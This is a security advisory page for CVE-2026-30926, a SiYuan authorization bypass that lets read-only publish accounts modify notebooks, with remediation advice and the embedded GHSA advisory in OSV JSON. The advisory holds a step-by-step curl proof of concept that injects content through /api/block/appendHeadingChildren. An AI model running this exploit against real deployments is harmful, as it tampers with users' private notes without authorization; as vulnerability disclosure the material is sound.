CVE-2026-30926: SiYuan Authorization Bypass Allows Low-Privilege Publish Vulnerability
HIGHCVE-2026-30926 is a HIGH (CVSS 7.1) authorization bypass allows low-privilege publish vulnerability (CWE-284: Improper Access Control) affecting SiYuan libraries in the Go ecosystem. The issue involves authorization bypass allows low-privilege publish user to modify notebook content via /api/block/appendheadingchildren. Remediation is available in the latest vendor maintenance releases.
CVE-2026-30926 at a Glance
Security Impact
CVSS: 7.1
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:N).
How to Fix CVE-2026-30926
To remediate this vulnerability, upgrade all affected SiYuan dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
Upgrade github.com/siyuan-note/siyuan/kernel to Latest secure release
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
inspect dependencies for github.com/siyuan-note/siyuan/kernel
How to Check if You Are Affected
To determine whether your application is affected by CVE-2026-30926, inspect your project dependencies for SiYuan:
inspect dependencies for github.com/siyuan-note/siyuan/kernel
Analyze the terminal output to locate any version of SiYuan in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than the patched release), your application is affected.
Note: Verify declared build manifests and deployed runtime container environments.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-284: Improper Access Control, where the product does not restrict or incorrectly restricts access to a resource from an unauthorized actor. In SiYuan, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-30926 Affected SiYuan Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
github.com/siyuan-note/siyuan/kernel
|
Go |
≤ 0.0.0-20260304035530-d03ebdec8279
|
|
References
Frequently Asked Questions
What is CVE-2026-30926?
Which SiYuan versions are affected?
What version fixes CVE-2026-30926?
Is github.com/siyuan-note/siyuan/kernel affected?
What is the CVSS score of CVE-2026-30926?
What CWE is associated with CVE-2026-30926?
How can I check Go dependencies for CVE-2026-30926?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-f9cq-v43p-v523",
"modified" : "2026-03-10T18:39:39Z",
"published" : "2026-03-09T18:18:39Z",
"aliases" : [ "CVE-2026-30926" ],
"summary" : "SiYuan: Authorization Bypass Allows Low-Privilege Publish User to Modify Notebook Content via /api/block/appendHeadingChildren",
"details" : "### Summary\nA privilege escalation vulnerability exists in the publish service of SiYuan Note that allows a low-privilege publish account (RoleReader) to modify notebook content via the `/api/block/appendHeadingChildren` API endpoint.\n\nThe endpoint only requires `model.CheckAuth`, which accepts `RoleReader` sessions. Because the endpoint performs a persistent document mutation and does not enforce `CheckAdminRole` or `CheckReadonly`, a publish user with read-only privileges can append new blocks to existing documents.\n\nThis allows remote authenticated publish users to modify notebook content and compromise the integrity of stored notes.\n\n### Details\n\nFile: router.go, block.go, block.go, session.go\nLines: router.go:245, api/block.go:193-205, model/block.go:688-714, model/session.go:201-209\nVulnerable Code:\n```\n- router.go: ginServer.Handle(\"POST\", \"/api/block/appendHeadingChildren\", model.CheckAuth, appendHeadingChildren)\n- api/block.go: model.AppendHeadingChildren(id, childrenDOM)\n- model/block.go: indexWriteTreeUpsertQueue(tree) (persists document mutation)\n- session.go: CheckAuth accepts RoleReader as authenticated\n```\nWhy Vulnerable:\nA low-privilege publish account (RoleReader, read-only) passes CheckAuth, but this write endpoint lacks CheckAdminRole and CheckReadonly. The handler performs persistent document writes.\n\n\n\n### PoC\n\n1. Enable publish service and create low-privilege account\n```\ncurl -u workspace:<ACCESS_AUTH_CODE> \\\n-H \"Content-Type: application/json\" \\\n-d '{\n \"enable\": true,\n \"port\": 6808,\n \"auth\": {\n \"enable\": true,\n \"accounts\": [\n {\n \"username\": \"viewer\",\n \"password\": \"viewerpass\"\n }\n ]\n }\n}' \\\nhttp://127.0.0.1:6806/api/setting/setPublish\n```\n2. Create a test notebook and document (admin)\n```\ncurl -u workspace:<ACCESS_AUTH_CODE> \\\n-H \"Content-Type: application/json\" \\\n-d '{\"name\":\"AuditPOC\"}' \\\nhttp://127.0.0.1:6806/api/notebook/createNotebook\n```\nCreate a document containing a heading:\n```\ncurl -u workspace:<ACCESS_AUTH_CODE> \\\n-H \"Content-Type: application/json\" \\\n-d '{\n \"notebook\":\"<NOTEBOOK_ID>\",\n \"path\":\"/Victim\",\n \"markdown\":\"# VictimHeading\\n\\nOriginal paragraph\"\n}' \\\nhttp://127.0.0.1:6806/api/filetree/createDocWithMd\n```\n3. Retrieve heading block ID (low-priv publish account)\n```\ncurl -u viewer:viewerpass \\\n-H \"Content-Type: application/json\" \\\n-d '{\"stmt\":\"SELECT id,root_id FROM blocks WHERE content='\\''VictimHeading'\\'' LIMIT 1\"}' \\\nhttp://127.0.0.1:6808/api/query/sql\n```\nExample response:\n```\n{\n \"id\":\"20260307093334-05sj7bz\",\n \"root_id\":\"20260307093334-vsa6ft0\"\n}\n```\n4. Generate block DOM\n```\ncurl -u viewer:viewerpass \\\n-H \"Content-Type: application/json\" \\\n-d '{\"dom\":\"<p>InjectedByReader</p>\"}' \\\nhttp://127.0.0.1:6808/api/lute/html2BlockDOM\n```\n\n5. Append block using the vulnerable endpoint\n```\ncurl -u viewer:viewerpass \\\n-H \"Content-Type: application/json\" \\\n-d '{\n\"id\":\"20260307093334-05sj7bz\",\n\"childrenDOM\":\"<div ...>InjectedByReader</div>\"\n}' \\\nhttp://127.0.0.1:6808/api/block/appendHeadingChildren\n```\nServer response:\n```\n{\"code\":0}\n```\n\n6. Verify unauthorized modification\n```\ncurl -u viewer:viewerpass \\\n-H \"Content-Type: application/json\" \\\n-d '{\"stmt\":\"SELECT content FROM blocks WHERE root_id='\\''20260307093334-vsa6ft0'\\'' ORDER BY sort\"}' \\\nhttp://127.0.0.1:6808/api/query/sql\n```\nResult includes attacker-controlled content:\n```\nInjectedByReader\n```\nThis confirms that the low-privilege publish user successfully modified the document.\n\n### Impact\nThis vulnerability allows any authenticated publish user with read-only privileges (RoleReader) to modify notebook content.\n\nPotential impacts include:\n\n• Unauthorized modification of private notes\n• Content tampering in published notebooks\n• Loss of data integrity\n• Possible chaining with other API endpoints to escalate further privileges\n\nThe issue occurs because write operations are protected only by CheckAuth rather than enforcing role-based authorization checks.",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:N"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "Go",
"name" : "github.com/siyuan-note/siyuan/kernel"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"last_affected" : "0.0.0-20260304035530-d03ebdec8279"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/siyuan-note/siyuan/security/advisories/GHSA-f9cq-v43p-v523"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-30926"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/siyuan-note/siyuan"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-284", "CWE-862" ],
"severity" : "HIGH",
"github_reviewed" : true,
"github_reviewed_at" : "2026-03-09T18:18:39Z",
"nvd_published_at" : "2026-03-10T07:44:56Z"
}
}